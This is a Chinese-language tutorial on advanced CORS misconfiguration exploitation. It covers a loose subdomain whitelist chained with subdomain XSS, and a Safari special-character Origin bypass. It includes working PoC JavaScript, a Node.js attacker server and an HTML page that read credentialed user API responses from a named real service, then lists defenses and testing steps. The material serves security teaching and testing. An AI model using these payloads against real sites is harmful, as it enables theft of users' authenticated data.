Advanced CORS Exploitation Techniques
字数 1191 2025-08-26 22:11:45
Advanced CORS Exploitation Techniques 教学文档
1. CORS基础概念回顾
CORS (Cross-Origin Resource Sharing) 是一种安全机制,允许Web应用程序从不同源(域)请求资源。正确配置的CORS可以防止跨站请求伪造(CSRF)攻击,而错误配置则可能导致严重的安全漏洞。
关键响应头
Access-Control-Allow-Origin: 指定允许访问资源的源Access-Control-Allow-Credentials: 指示是否允许发送凭据(cookies等)
2. CORS错误配置类型
2.1 宽松的子域名白名单
当服务器仅检查请求的Origin是否包含目标域名(如.redacted.com),而不验证子域名是否存在时,攻击者可以利用任意子域名进行攻击。
示例漏洞响应:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: evil.redacted.com
3. 第一种利用方法:结合XSS
3.1 攻击条件
- 目标站点存在CORS错误配置
- 目标站点的某个子域存在XSS漏洞
3.2 攻击步骤
- 识别CORS错误配置:发送带有任意子域的Origin头,观察响应
- 寻找子域XSS:在目标站点的子域中寻找XSS漏洞
- 构造攻击载荷:通过XSS执行跨域请求窃取用户数据
示例攻击代码:
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
4. 第二种利用方法:特殊字符绕过
4.1 浏览器行为差异
- Safari:会发送包含特殊字符的域名请求
- Chrome/Firefox:通常在发送请求前验证域名有效性
4.2 可利用的特殊字符
! " $ %0b %60 & ' ( ) * , ; = ^ ` { | } ~
4.3 攻击步骤
- 注册恶意域名:设置通配符DNS记录(*.evil.com)
- 搭建攻击服务器:托管恶意脚本
- 构造特殊域名链接:如
https://zzzz.ubnt.com=.evil.com/cors-poc - 诱骗用户访问:通过Safari浏览器访问该链接
NodeJS服务器示例(serve.js):
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function (req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
恶意页面示例(cors.html):
<!DOCTYPE html>
<html>
<head>
<title>CORS</title>
</head>
<body onload="cors();">
<center>cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz"></textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
5. 防御措施
5.1 服务器端
- 严格验证
Origin头,使用精确匹配而非通配符或简单包含检查 - 避免使用
Access-Control-Allow-Origin: *与Access-Control-Allow-Credentials: true的组合 - 实施白名单机制,仅允许可信的源
5.2 客户端
- 避免在敏感操作中使用CORS
- 实施CSRF令牌等其他安全措施
6. 测试方法
- 发送带有不同Origin头的请求,观察响应
- 尝试使用特殊字符构造Origin头
- 检查是否存在子域名接管漏洞
- 扫描所有子域寻找XSS漏洞
7. 总结
CORS错误配置可能导致严重的信息泄露漏洞。攻击者可以通过以下方式利用:
- 结合子域XSS漏洞
- 利用特殊字符绕过域名验证(Safari)
- 子域名接管
安全团队应严格审查CORS配置,特别是当涉及敏感数据和凭据时。